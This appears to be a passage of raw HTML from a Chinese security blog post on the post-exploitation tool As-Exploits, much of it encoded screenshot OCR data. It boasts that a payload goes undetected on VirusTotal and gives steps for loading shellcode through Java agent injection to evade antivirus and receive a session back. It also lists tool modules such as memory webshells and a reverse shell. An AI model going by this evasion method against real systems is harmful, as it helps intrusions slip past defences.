idth%22%3A88.66682%2C%22height%22%3A21.782956999999996%2C%22text%22%3A%22%E7%81%AB%E7%BB%92%E5%AE%89%E5%85%A8%22%7D%2C%7B%22x%22%3A859.4344%2C%22y%22%3A10.018049%2C%22width%22%3A162.69950000000006%2C%22height%22%3A22.350041000000004%2C%22text%22%3A%22%E7%99%BD_X%22%7D%2C%7B%22x%22%3A71.96407%2C%22y%22%3A73.20805%2C%22width%22%3A71.69922999999999%2C%22height%22%3A56.13906999999999%2C%22text%22%3A%22%E5%91%A8%E4%B8%89%22%7D%2C%7B%22x%22%3A179.35968%2C%22y%22%3A72.9123%2C%22width%22%3A254.60965000000002%2C%22height%22%3A30.259829999999994%2C%22text%22%3A%22%E6%9C%AC%E6%AC%A1%E6%89%AB%E6%8F%8F%E6%9C%AA%E5%8F%91%E7%8E%B0%E9%A3%8E%E9%99%A9%22%7D%2C%7B%22x%22%3A933.7493%2C%22y%22%3A81.085075%2C%22width%22%3A32.96713%2C%22height%22%3A16.421965%2C%22text%22%3A%22%E5%AE%8C%E6%88%90%22%7D%2C%7B%22x%22%3A178.69196%2C%22y%22%3A123.114685%2C%22width%22%3A78.23140999999998%2C%22height%22%3A17.014455000000012%2C%22text%22%3A%22%E6%89%AB%E6%8F%8F%E5%B7%B2%E5%AE%8C%E6%88%90%22%7D%2C%7B%22x%22%3A1027.7671%2C%22y%22%3A150.49985%2C%22width%22%3A65.82159999999999%2C%22height%22%3A17.90904999999998%2C%22text%22%3A%22%E4%BB%B7%E4%B8%89%22%7D%2C%7B%22x%22%3A127.50831%2C%22y%22%3A155.51616%2C%22width%22%3A62.41249000000002%2C%22height%22%3A17.322069999999997%2C%22text%22%3A%22%E7%94%B5%E8%84%91%E7%AE%A1%E5%AE%B6%22%7D%2C%7B%22x%22%3A128.2946%2C%22y%22%3A181.35097%2C%22width%22%3A77.57688999999999%2C%22height%22%3A17.7337%2C%22text%22%3A%22%E7%99%BB%E5%BD%95%E4%BA%AB%E7%89%B9%E6%9D%83%22%7D%2C%7B%22x%22%3A396.91916%2C%22y%22%3A221.85564%2C%22width%22%3A362.88370000000003%2C%22height%22%3A41.73016000000001%2C%22text%22%3A%22%E6%89%AB%E6%8F%8F%E5%AE%8C%E6%88%90%2C%E6%97%A0%E9%A3%8E%E9%99%A9%E9%A1%B9%22%7D%2C%7B%22x%22%3A799.6046%2C%22y%22%3A230.87288%2C%22width%22%3A38.40047000000004%2C%22height%22%3A18.249719999999996%2C%22text%22%3A%22%E5%A5%BD%E7%9A%84%22%7D%2C%7B%22x%22%3A127.97687%2C%22y%22%3A254.17046%2C%22width%22%3A61.858050000000006%2C%22height%22%3A15.935069999999996%2C%22text%22%3A%22%E9%A6%96%E9%A1%B5%E4%BD%93%E6%A3%80%22%7D%2C%7B%22x%22%3A611.46497%2C%22y%22%3A281.11774%2C%22width%22%3A105.21023000000002%2C%22height%22%3A15.82505999999995%2C%22text%22%3A%22%E6%9F%A5%E6%9D%80%E8%80%97%E6%97%B6%3A2s%22%7D%2C%7B%22x%22%3A421.92346%2C%22y%22%3A282.0046%2C%22width%22%3A174.71527000000003%2C%22height%22%3A18.573830000000044%2C%22text%22%3A%22%E6%89%AB%E6%8F%8F%E6%96%87%E4%BB%B6%E6%95%B0%3A1%E4%B8%AA%2F.%22%7D%2C%7B%22x%22%3A996.36816%2C%22y%22%3A335.5674%2C%22width%22%3A170.4141400000001%2C%22height%22%3A24.305399999999963%2C%22text%22%3A%22H%E4%B8%89-X%22%7D%2C%7B%22x%22%3A66.03614%2C%22y%22%3A341.35077%2C%22width%22%3A107.70136000000001%2C%22height%22%3A16.312929999999994%2C%22text%22%3A%22360%E5%AE%89%E5%85%A8%E5%8D%AB%E5%A3%AB13%22%7D%2C%7B%22x%22%3A932.6277%2C%22y%22%3A342.86984%2C%22width%22%3A46.81583999999998%2C%22height%22%3A16.195220000000006%2C%22text%22%3A%22%E6%9C%AA%E7%99%BB%E5%BD%95%22%7D%2C%7B%22x%22%3A426.0605%2C%22y%22%3A382.00003%2C%22width%22%3A199.57865999999996%2C%22height%22%3A45.64832000000001%2C%22text%22%3A%22%E5%85%AD%22%7D%2C%7B%22x%22%3A1068.0817%2C%22y%22%3A407.7408%2C%22width%22%3A40.03480000000013%2C%22height%22%3A14.721879999999999%2C%22text%22%3A%22%E6%9C%89%E5%8D%87%E7%BA%A7%22%7D%2C%7B%22x%22%3A1017.30115%2C%22y%22%3A438.3808%2C%22width%22%3A70.38805000000002%2C%22height%22%3A20.484999999999957%2C%22text%22%3A%22%E8%BD%AF%E4%BB%B6%E7%AE%A1%E5%AE%B6%22%7D%2C%7B%22x%22%3A267.15344%2C%22y%22%3A438.86243%2C%22width%22%3A69.73398000000003%2C%22height%22%3A19.430970000000002%2C%22text%22%3A%22%E6%9C%A8%E9%A9%AC%E6%9F%A5%E6%9D%80%22%7D%2C%7B%22x%22%3A716.7984%2C%22y%22%3A439.03662%2C%22width%22%3A71.05944999999997%2C%22height%22%3A19.23479999999995%2C%22text%22%3A%22%E4%BC%98%E5%8C%96%E5%8A%A0%E9%80%9F%22%7D%2C%7B%22x%22%3A416.20505%2C%22y%22%3A439.49335%2C%22width%22%3A72.35460999999998%2C%22height%22%3A19.310119999999984%2C%22text%22%3A%22%E7%94%B5%E8%84%91%E6%B8%85%E7%90%86%22%7D%2C%7B%22x%22%3A565.97644%2C%22y%22%3A439.54333%2C%22width%22%3A73.46960000000001%2C%22height%22%3A19.283209999999997%2C%22text%22%3A%22%E7%B3%BB%E7%BB%9F%E4%BF%AE%E5%A4%8D%22%7D%2C%7B%22x%22%3A116.034225%2C%22y%22%3A439.72076%2C%22width%22%3A72.102615%2C%22height%22%3A18.272370000000024%2C%22text%22%3A%22%E6%88%91%E7%9A%84%E7%94%B5%E8%84%91%22%7D%2C%7B%22x%22%3A866.52423%2C%22y%22%3A440.02396%2C%22width%22%3A70.76189999999997%2C%22height%22%3A18.48950000000002%2C%22text%22%3A%22%E5%8A%9F%E8%83%BD%E5%A4%A7%E5%85%A8%22%7D%2C%7B%22x%22%3A206.22606%2C%22y%22%3A502.7274%2C%22width%22%3A327.5740400000001%2C%22height%22%3A30.854450000000043%2C%22text%22%3A%22%E6%89%AB%E6%8F%8F%E5%AE%8C%E6%88%90%2C%E6%9C%AA%E5%8F%91%E7%8E%B0%E6%9C%A8%E9%A9%AC%E7%97%85%E6%AF%92%22%7D%2C%7B%22x%22%3A1022.2926%2C%22y%22%3A525.455%2C%22width%22%3A37.8746000000001%2C%22height%22%3A19.061699999999973%2C%22text%22%3A%22%E8%BF%94%E5%9B%9E%22%7D%2C%7B%22x%22%3A884.7783%2C%22y%22%3A526.535%2C%22width%22%3A69.21470000000011%2C%22height%22%3A18.838960000000043%2C%22text%22%3A%22%E5%8F%8D%E9%A6%88%E6%B1%82%E5%8A%A9%22%7D%2C%7B%22x%22%3A207.01999%2C%22y%22%3A546.5019%2C%22width%22%3A231.10339%2C%22height%22%3A18.657159999999976%2C%22text%22%3A%22%E7%94%A8%E6%97%B61%E7%A7%92%2C%E6%89%AB%E6%8F%8F1%E9%A1%B9%E6%9F%A5%E7%9C%8B%E8%AF%A6%E6%83%85%22%7D%5D%2C%22id%22%3A%22Z9LZ9%22%2C%22margin%22%3A%7B%22top%22%3Atrue%2C%22bottom%22%3Atrue%7D%7D"><img data-height="318px" data-ratio="0.5408163265306123" title="image.png" data-type="png" data-w="1176" style="visibility: visible;width: 588px;" src="https://wechat2rss.xlab.app/img-proxy/?k=b9b13c36&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy1wQ16j5Q02lP62kmekQgiackice5BvicnaO2uZYIG5RSWMntD2UKuPtic2m0c98sH7KdLkvTNcfMC6dQ%2F640%3Fwx_fmt%3Dpng"/></span></p><p data-lake-id="fee375b13be4e099fa614aa3f352b36f" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">VT检测结果0/68，也就是说落地也问题不大。</p><p data-lake-id="44e687948a76159664991a925be480eb" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><span style="text-decoration: line-through;">不过可能这篇文章出来之后就没了</span></p><p data-lake-id="32eb00cfe7fa714fe72f7e1b55ad38fb" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><span data-card-type="inline" data-lake-card="image" data-card-value="data:%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2021%2Fpng%2F1599908%2F1620912118643-c07e2e88-fb6f-415f-ac0e-952724f77c18.png%22%2C%22originalType%22%3A%22binary%22%2C%22width%22%3A681%2C%22height%22%3A302%2C%22linkTarget%22%3A%22_blank%22%2C%22name%22%3A%22image.png%22%2C%22size%22%3A91693%2C%22originWidth%22%3A1362%2C%22originHeight%22%3A603%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22search%22%3A%222%20a66959bec2e5af730198b3%20Nosecurityvendorsflaggedthisfileasmalicious%20168%202021-05-1023%3A5%20a66959bec2efaf730198db3cdc%20241.00KB%202daysago%20Size%20jna7727415031848183376.d%2064bitsassemblyinvalid-rich-pe-linker-version%20pedil%20Community%20Score%201%20COMMUNITY%20RELATIONS%20DETECTION%20DETAILS%20Undetected%20Ad-Aware%20Acronis%20Undetected%20AhnLab-V3%20AegisLab%20Undetected%20Undetected%20Undetected%20Alibaba%20ALYac%20Undetected%22%2C%22ocrLocations%22%3A%5B%7B%22x%22%3A5.955978%2C%22y%22%3A4.862546%2C%22width%22%3A49.319801999999996%2C%22height%22%3A46.212447%2C%22text%22%3A%222%22%7D%2C%7B%22x%22%3A85.957825%2C%22y%22%3A17.090956%2C%22width%22%3A603.692975%2C%22height%22%3A21.939894000000002%2C%22text%22%3A%22a66959bec2e5af730198b3%22%7D%2C%7B%22x%22%3A285.559%2C%22y%22%3A124.219406%2C%22width%22%3A359.28579999999994%2C%22height%22%3A18.14695399999998%2C%22text%22%3A%22Nosecurityvendorsflaggedthisfileasmalicious%22%7D%2C%7B%22x%22%3A106.99916%2C%22y%22%3A176.62718%2C%22width%22%3A31.730100000000007%2C%22height%22%3A14.904049999999984%2C%22text%22%3A%22168%22%7D%2C%7B%22x%22%3A1241.8044%2C%22y%22%3A210.0753%2C%22width%22%3A117.8628000000001%2C%22height%22%3A17.499590000000012%2C%22text%22%3A%222021-05-1023%3A5%22%7D%2C%7B%22x%22%3A248.33583%2C%22y%22%3A211.9748%2C%22width%22%3A564.22771%2C%22height%22%3A17.06704000000002%2C%22text%22%3A%22a66959bec2efaf730198db3cdc%22%7D%2C%7B%22x%22%3A1120.6917%2C%22y%22%3A212.34999%2C%22width%22%3A74.03250000000003%2C%22height%22%3A14.69643000000002%2C%22text%22%3A%22241.00KB%22%7D%2C%7B%22x%22%3A1241.8993%2C%22y%22%3A235.78601%2C%22width%22%3A80.86879999999996%2C%22height%22%3A16.537689999999998%2C%22text%22%3A%222daysago%22%7D%2C%7B%22x%22%3A1119.5742%2C%22y%22%3A236.11833%2C%22width%22%3A31.05060000000003%2C%22height%22%3A14.612380000000002%2C%22text%22%3A%22Size%22%7D%2C%7B%22x%22%3A249.27005%2C%22y%22%3A241.84534%2C%22width%22%3A190.40894999999998%2C%22height%22%3A16.676860000000005%2C%22text%22%3A%22jna7727415031848183376.d%22%7D%2C%7B%22x%22%3A254.4451%2C%22y%22%3A274.4592%2C%22width%22%3A357.92499999999995%2C%22height%22%3A16.083280000000002%2C%22text%22%3A%2264bitsassemblyinvalid-rich-pe-linker-version%22%7D%2C%7B%22x%22%3A620.03906%2C%22y%22%3A275.9896%2C%22width%22%3A43.96167000000003%2C%22height%22%3A14.347280000000012%2C%22text%22%3A%22pedil%22%7D%2C%7B%22x%22%3A81.942154%2C%22y%22%3A297.40088%2C%22width%22%3A84.12702599999999%2C%22height%22%3A15.436460000000011%2C%22text%22%3A%22Community%22%7D%2C%7B%22x%22%3A101.62047%2C%22y%22%3A320.33978%2C%22width%22%3A41.31502999999999%2C%22height%22%3A13.54431999999997%2C%22text%22%3A%22Score%22%7D%2C%7B%22x%22%3A628.31995%2C%22y%22%3A381.94962%2C%22width%22%3A28.122850000000085%2C%22height%22%3A28.122850000000085%2C%22text%22%3A%221%22%7D%2C%7B%22x%22%3A507.19083%2C%22y%22%3A385.6502%2C%22width%22%3A106.52007000000003%2C%22height%22%3A16.772160000000042%2C%22text%22%3A%22COMMUNITY%22%7D%2C%7B%22x%22%3A341.88202%2C%22y%22%3A386.9486%2C%22width%22%3A91.03228000000001%2C%22height%22%3A17.26211999999998%2C%22text%22%3A%22RELATIONS%22%7D%2C%7B%22x%22%3A82.926186%2C%22y%22%3A387.3188%2C%22width%22%3A96.471844%2C%22height%22%3A17.02497999999997%2C%22text%22%3A%22DETECTION%22%7D%2C%7B%22x%22%3A227.7398%2C%22y%22%3A387.50452%2C%22width%22%3A66.28012999999999%2C%22height%22%3A16.822779999999966%2C%22text%22%3A%22DETAILS%22%7D%2C%7B%22x%22%3A1191.0488%2C%22y%22%3A460.97028%2C%22width%22%3A92.64519999999993%2C%22height%22%3A16.888089999999977%2C%22text%22%3A%22Undetected%22%7D%2C%7B%22x%22%3A888.85034%2C%22y%22%3A461.81747%2C%22width%22%3A75.67432000000008%2C%22height%22%3A14.880830000000003%2C%22text%22%3A%22Ad-Aware%22%7D%2C%7B%22x%22%3A65.39443%2C%22y%22%3A462.11563%2C%22width%22%3A57.44217999999999%2C%22height%22%3A15.892169999999965%2C%22text%22%3A%22Acronis%22%7D%2C%7B%22x%22%3A368.97504%2C%22y%22%3A462.7603%2C%22width%22%3A90.18476000000004%2C%22height%22%3A14.730760000000032%2C%22text%22%3A%22Undetected%22%7D%2C%7B%22x%22%3A888.6674%2C%22y%22%3A513.5938%2C%22width%22%3A84.79379999999992%2C%22height%22%3A15.900899999999979%2C%22text%22%3A%22AhnLab-V3%22%7D%2C%7B%22x%22%3A65.13805%2C%22y%22%3A514.0256%2C%22width%22%3A70.87539%2C%22height%22%3A16.841999999999985%2C%22text%22%3A%22AegisLab%22%7D%2C%7B%22x%22%3A1191.6625%2C%22y%22%3A514.546%2C%22width%22%3A91.84030000000007%2C%22height%22%3A15.630329999999958%2C%22text%22%3A%22Undetected%22%7D%2C%7B%22x%22%3A368.96585%2C%22y%22%3A514.79315%2C%22width%22%3A90.4642%2C%22height%22%3A15.565249999999992%2C%22text%22%3A%22Undetected%22%7D%2C%7B%22x%22%3A1191.178%2C%22y%22%3A567.3926%2C%22width%22%3A91.06799999999998%2C%22height%22%3A16.565899999999942%2C%22text%22%3A%22Undetected%22%7D%2C%7B%22x%22%3A65.48526%2C%22y%22%3A568.01825%2C%22width%22%3A55.91527000000001%2C%22height%22%3A15.018310000000042%2C%22text%22%3A%22Alibaba%22%7D%2C%7B%22x%22%3A889.90784%2C%22y%22%3A568.9144%2C%22width%22%3A44.41826000000003%2C%22height%22%3A14.583999999999946%2C%22text%22%3A%22ALYac%22%7D%2C%7B%22x%22%3A370.16522%2C%22y%22%3A568.729%2C%22width%22%3A88.54306000000003%2C%22height%22%3A15.30535999999995%2C%22text%22%3A%22Undetected%22%7D%5D%2C%22id%22%3A%22n0i15%22%2C%22margin%22%3A%7B%22top%22%3Atrue%2C%22bottom%22%3Atrue%7D%7D"><img data-height="302px" data-ratio="0.44273127753303965" title="image.png" data-type="png" data-w="1362" style="visibility: visible;width: 681px;" src="https://wechat2rss.xlab.app/img-proxy/?k=dd385ce5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy1wQ16j5Q02lP62kmekQgiac9hrYMtFnfgqUcF1HJsVOyZcKFzkxR4DJbJv5WquG8UM2N3icXzskByg%2F640%3Fwx_fmt%3Dpng"/></span></p><p data-lake-id="d291200912825c8c28b5493cd385318f" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><br/></p><h3 data-lake-id="qW8V7" data-wording="true" style="padding-top: 7px;padding-bottom: 7px;font-weight: 700;font-size: 20px;line-height: 28px;">Attach</h3><p data-lake-id="12f22e37578c503cbf0bfc0cdee8a132" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">模拟java agent注入过程来实现Shellcode的加载。这个native方法是jdk自带的，并且经过oracle签名的，理论上免杀效果更好。</p><p data-lake-id="52629fd32a9abb6c7646801891189818" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">适用范围：JDK&gt;=1.6</p><h4 data-lake-id="W2BES" data-wording="true" style="padding-top: 7px;padding-bottom: 7px;font-weight: 700;line-height: 24px;">正确操作</h4><ol lake-indent="0" style="padding-left: 23px;font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;" class="list-paddingleft-2"><li><p>基本信息，exploit，Ctrl+F 搜索 <code style="font-size: inherit;background-color: rgba(0, 0, 0, 0.06);padding-right: 2px;padding-left: 2px;border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.08);border-radius: 2px;line-height: inherit;overflow-wrap: break-word;">sun.arch.data.model</code>，查看java位数</p></li><li><p>根据java位数生成对应位数的shellcode，并开启监听。</p></li><li><p>在ShellCode加载器模块，输入hex或者java格式的shellcode，且不能有多余换行跟空格。</p></li><li><p>点击exploit，等待返回回话。</p></li></ol><h4 data-lake-id="NLG4B" data-wording="true" style="padding-top: 7px;padding-bottom: 7px;font-weight: 700;line-height: 24px;">Attach方式测试</h4><p data-lake-id="8b65c04b198538787d8dea0a9ea3fe1f" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">发现是64位java</p><p data-lake-id="5bfb5f50c1f876d76df1d43fdd80d1d6" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><span data-card-type="inline" data-lake-card="image" data-card-value="data:%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2021%2Fpng%2F1599908%2F1621067200409-961948c8-5bf7-456e-95f5-fc83fdd14654.png%22%2C%22originalType%22%3A%22binary%22%2C%22width%22%3A616%2C%22height%22%3A259%2C%22linkTarget%22%3A%22_blank%22%2C%22name%22%3A%22image.png%22%2C%22size%22%3A68315%2C%22originWidth%22%3A1232%2C%22originHeight%22%3A518%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22search%22%3A%22As-Exploits192.168.3M%20%E5%86%85%E5%AD%98%E9%A9%AC%E7%AE%A1%E7%90%86%20Jar%E5%8A%A0%E8%BD%BD%E5%99%A8%20%E6%8F%90%E6%9D%83%E8%BE%85%E5%8A%A9%20%E5%9F%BA%E6%9C%AC%E4%BF%A1%E6%81%AF%20%E6%9D%80%E8%BD%AF%E8%AF%86%E5%88%AB%20%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%20%E5%8F%8D%E5%BC%B9Shell%20ShellCode%E5%8A%A0%E8%BD%BD%E5%99%A8%20%E5%86%85%E5%AD%98%E9%A9%AC%20%E5%85%B3%E4%BA%8E%20exploit%20%E8%BE%93%E5%87%BA%E7%BB%93%E6%9E%9C%2004%20JAVA.HAILHSIACONY%2085%20user.language-zh%20%3C%20A11%20sun.arch.data.mode%20sun.boot.ibrary.pth1in%2086%201of1%20AaLb%20jk.tls.ephemeraiDhkeysize2048%2087%20java.version1.8.0112%2088%20java.util.oginghuiM%2089%2090%20Cs%2091%20.data.model264%20sun.%2092%20MTHYctorykcory%20java.endorsed.dirs-cenvJavaljre1.8.benored%2093%2094%20sun.cpu.isalistamd64%2095%20sun.jnu.encoding-GBK%20file.encoding.pkg%2096%20Kg%E4%B8%89sun.1o%22%2C%22ocrLocations%22%3A%5B%7B%22x%22%3A27.06387%2C%22y%22%3A9.392075%2C%22width%22%3A336.77819999999997%2C%22height%22%3A16.660474999999998%2C%22text%22%3A%22As-Exploits192.168.3M%22%7D%2C%7B%22x%22%3A350.64014%2C%22y%22%3A43.381084%2C%22width%22%3A78.00416000000001%2C%22height%22%3A18.495171%2C%22text%22%3A%22%E5%86%85%E5%AD%98%E9%A9%AC%E7%AE%A1%E7%90%86%22%7D%2C%7B%22x%22%3A956.8836%2C%22y%22%3A43.36795%2C%22width%22%3A67.08810000000005%2C%22height%22%3A17.172085000000003%2C%22text%22%3A%22Jar%E5%8A%A0%E8%BD%BD%E5%99%A8%22%7D%2C%7B%22x%22%3A578.4294%2C%22y%22%3A43.47195%2C%22width%22%3A61.64710000000002%2C%22height%22%3A16.881093%2C%22text%22%3A%22%E6%8F%90%E6%9D%83%E8%BE%85%E5%8A%A9%22%7D%2C%7B%22x%22%3A40.18826%2C%22y%22%3A43.505512%2C%22width%22%3A62.64324500000001%2C%22height%22%3A16.717287999999996%2C%22text%22%3A%22%E5%9F%BA%E6%9C%AC%E4%BF%A1%E6%81%AF%22%7D%2C%7B%22x%22%3A471.8859%2C%22y%22%3A43.978134%2C%22width%22%3A61.72879999999998%2C%22height%22%3A16.872156000000004%2C%22text%22%3A%22%E6%9D%80%E8%BD%AF%E8%AF%86%E5%88%AB%22%7D%2C%7B%22x%22%3A683.85333%2C%22y%22%3A44.117676%2C%22width%22%3A62.09096999999997%2C%22height%22%3A16.537473999999996%2C%22text%22%3A%22%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%22%7D%2C%7B%22x%22%3A147.92274%2C%22y%22%3A44.1702%2C%22width%22%3A65.73128%2C%22height%22%3A15.686462999999996%2C%22text%22%3A%22%E5%8F%8D%E5%BC%B9Shell%22%7D%2C%7B%22x%22%3A794.5306%2C%22y%22%3A43.80012%2C%22width%22%3A113.68765999999994%2C%22height%22%3A17.640076999999998%2C%22text%22%3A%22ShellCode%E5%8A%A0%E8%BD%BD%E5%99%A8%22%7D%2C%7B%22x%22%3A258.7444%2C%22y%22%3A44.301453%2C%22width%22%3A48.00334000000004%2C%22height%22%3A17.148730999999998%2C%22text%22%3A%22%E5%86%85%E5%AD%98%E9%A9%AC%22%7D%2C%7B%22x%22%3A1070.0662%2C%22y%22%3A44.274998%2C%22width%22%3A31.284800000000132%2C%22height%22%3A16.493564000000006%2C%22text%22%3A%22%E5%85%B3%E4%BA%8E%22%7D%2C%7B%22x%22%3A20.242056%2C%22y%22%3A86.65783%2C%22width%22%3A45.011224%2C%22height%22%3A14.212689999999995%2C%22text%22%3A%22exploit%22%7D%2C%7B%22x%22%3A5.065932%2C%22y%22%3A242.4456%2C%22width%22%3A62.70665799999999%2C%22height%22%3A17.401959999999974%2C%22text%22%3A%22%E8%BE%93%E5%87%BA%E7%BB%93%E6%9E%9C%22%7D%2C%7B%22x%22%3A34.303123%2C%22y%22%3A267.9857%2C%22width%22%3A23.107441%2C%22height%22%3A11.144999999999982%2C%22text%22%3A%2204%22%7D%2C%7B%22x%22%3A75.90997%2C%22y%22%3A269.9751%2C%22width%22%3A201.83143%2C%22height%22%3A12.866399999999999%2C%22text%22%3A%22JAVA.HAILHSIACONY%22%7D%2C%7B%22x%22%3A35.499035%2C%22y%22%3A282.7085%2C%22width%22%3A21.745455%2C%22height%22%3A14.802819999999997%2C%22text%22%3A%2285%22%7D%2C%7B%22x%22%3A76.70369%2C%22y%22%3A283.08276%2C%22width%22%3A178.43823%2C%22height%22%3A16.85568999999998%2C%22text%22%3A%22user.language-zh%22%7D%2C%7B%22x%22%3A1075.9484%2C%22y%22%3A283.999%2C%22width%22%3A14.635500000000093%2C%22height%22%3A14.635500000000093%2C%22text%22%3A%22%3C%22%7D%2C%7B%22x%22%3A1147.6405%2C%22y%22%3A285.42313%2C%22width%22%3A29.38370000000009%2C%22height%22%3A16.76360999999997%2C%22text%22%3A%22A11%22%7D%2C%7B%22x%22%3A759.67773%2C%22y%22%3A285.17416%2C%22width%22%3A162.67107%2C%22height%22%3A19.743840000000034%2C%22text%22%3A%22sun.arch.data.mode%22%7D%2C%7B%22x%22%3A75.01296%2C%22y%22%3A300.70038%2C%22width%22%3A506.28534%2C%22height%22%3A21.985349999999983%2C%22text%22%3A%22sun.boot.ibrary.pth1in%22%7D%2C%7B%22x%22%3A35.57514%2C%22y%22%3A303.50394%2C%22width%22%3A21.809305000000002%2C%22height%22%3A14.34426000000002%2C%22text%22%3A%2286%22%7D%2C%7B%22x%22%3A790.83276%2C%22y%22%3A319.11075%2C%22width%22%3A41.81066999999996%2C%22height%22%3A16.915009999999995%2C%22text%22%3A%221of1%22%7D%2C%7B%22x%22%3A1146.328%2C%22y%22%3A319.32968%2C%22width%22%3A53.413299999999936%2C%22height%22%3A18.386540000000025%2C%22text%22%3A%22AaLb%22%7D%2C%7B%22x%22%3A74.72766%2C%22y%22%3A321.55338%2C%22width%22%3A324.92634%2C%22height%22%3A19.51216999999997%2C%22text%22%3A%22jk.tls.ephemeraiDhkeysize2048%22%7D%2C%7B%22x%22%3A35.366894%2C%22y%22%3A323.0311%2C%22width%22%3A21.325167999999998%2C%22height%22%3A14.396800000000042%2C%22text%22%3A%2287%22%7D%2C%7B%22x%22%3A77.99906%2C%22y%22%3A342.68735%2C%22width%22%3A233.6311%2C%22height%22%3A17.558050000000037%2C%22text%22%3A%22java.version1.8.0112%22%7D%2C%7B%22x%22%3A34.889668%2C%22y%22%3A344.36502%2C%22width%22%3A22.219676%2C%22height%22%3A14.415410000000008%2C%22text%22%3A%2288%22%7D%2C%7B%22x%22%3A79.08027%2C%22y%22%3A359.93295%2C%22width%22%3A624.74033%2C%22height%22%3A22.206819999999993%2C%22text%22%3A%22java.util.oginghuiM%22%7D%2C%7B%22x%22%3A32.43986%2C%22y%22%3A363.825%2C%22width%22%3A25.991529999999997%2C%22height%22%3A14.937970000000007%2C%22text%22%3A%2289%22%7D%2C%7B%22x%22%3A34.293137%2C%22y%22%3A385.26526%2C%22width%22%3A24.703292999999995%2C%22height%22%3A13.51934%2C%22text%22%3A%2290%22%7D%2C%7B%22x%22%3A75.54517%2C%22y%22%3A388.8467%2C%22width%22%3A29.612300000000005%2C%22height%22%3A10.943219999999997%2C%22text%22%3A%22Cs%22%7D%2C%7B%22x%22%3A36.401024%2C%22y%22%3A402.23688%2C%22width%22%3A20.257762999999997%2C%22height%22%3A16.643370000000004%2C%22text%22%3A%2291%22%7D%2C%7B%22x%22%3A159.60033%2C%22y%22%3A402.5327%2C%22width%22%3A148.49564999999998%2C%22height%22%3A16.294330000000002%2C%22text%22%3A%22.data.model264%22%7D%2C%7B%22x%22%3A79.95731%2C%22y%22%3A406.00937%2C%22width%22%3A34.23473999999999%2C%22height%22%3A12.573450000000037%2C%22text%22%3A%22sun.%22%7D%2C%7B%22x%22%3A34.08417%2C%22y%22%3A424.67535%2C%22width%22%3A25.232619999999997%2C%22height%22%3A15.105870000000039%2C%22text%22%3A%2292%22%7D%2C%7B%22x%22%3A402.47726%2C%22y%22%3A421.78226%2C%22width%22%3A794.82084%2C%22height%22%3A25.79073999999997%2C%22text%22%3A%22MTHYctorykcory%22%7D%2C%7B%22x%22%3A64.41474%2C%22y%22%3A437.88184%2C%22width%22%3A569.61636%2C%22height%22%3A26.284940000000006%2C%22text%22%3A%22java.endorsed.dirs-cenvJavaljre1.8.benored%22%7D%2C%7B%22x%22%3A35.58828%2C%22y%22%3A443.18927%2C%22width%22%3A20.130874000000006%2C%22height%22%3A14.662509999999997%2C%22text%22%3A%2293%22%7D%2C%7B%22x%22%3A36.56475%2C%22y%22%3A463.925%2C%22width%22%3A19.877587000000005%2C%22height%22%3A13.779529999999966%2C%22text%22%3A%2294%22%7D%2C%7B%22x%22%3A78.50245%2C%22y%22%3A464.61923%2C%22width%22%3A220.77736999999996%2C%22height%22%3A14.857169999999996%2C%22text%22%3A%22sun.cpu.isalistamd64%22%7D%2C%7B%22x%22%3A36.739178%2C%22y%22%3A484.19806%2C%22width%22%3A19.616118999999998%2C%22height%22%3A13.641599999999983%2C%22text%22%3A%2295%22%7D%2C%7B%22x%22%3A76.82328%2C%22y%22%3A483.21313%2C%22width%22%3A213.54919%2C%22height%22%3A19.495550000000037%2C%22text%22%3A%22sun.jnu.encoding-GBK%22%7D%2C%7B%22x%22%3A76.26054%2C%22y%22%3A500.7815%2C%22width%22%3A166.91755%2C%22height%22%3A19.42235999999997%2C%22text%22%3A%22file.encoding.pkg%22%7D%2C%7B%22x%22%3A36.52372%2C%22y%22%3A504.37897%2C%22width%22%3A19.437130000000003%2C%22height%22%3A13.934870000000046%2C%22text%22%3A%2296%22%7D%2C%7B%22x%22%3A229.5191%2C%22y%22%3A504.50357%2C%22width%22%3A99.77286000000001%2C%22height%22%3A17.151929999999936%2C%22text%22%3A%22Kg%E4%B8%89sun.1o%22%7D%5D%2C%22id%22%3A%22VJDD8%22%2C%22margin%22%3A%7B%22top%22%3Atrue%2C%22bottom%22%3Atrue%7D%7D"><img data-height="259px" data-ratio="0.42045454545454547" title="image.png" data-type="png" data-w="1232" style="visibility: visible;width: 616px;" 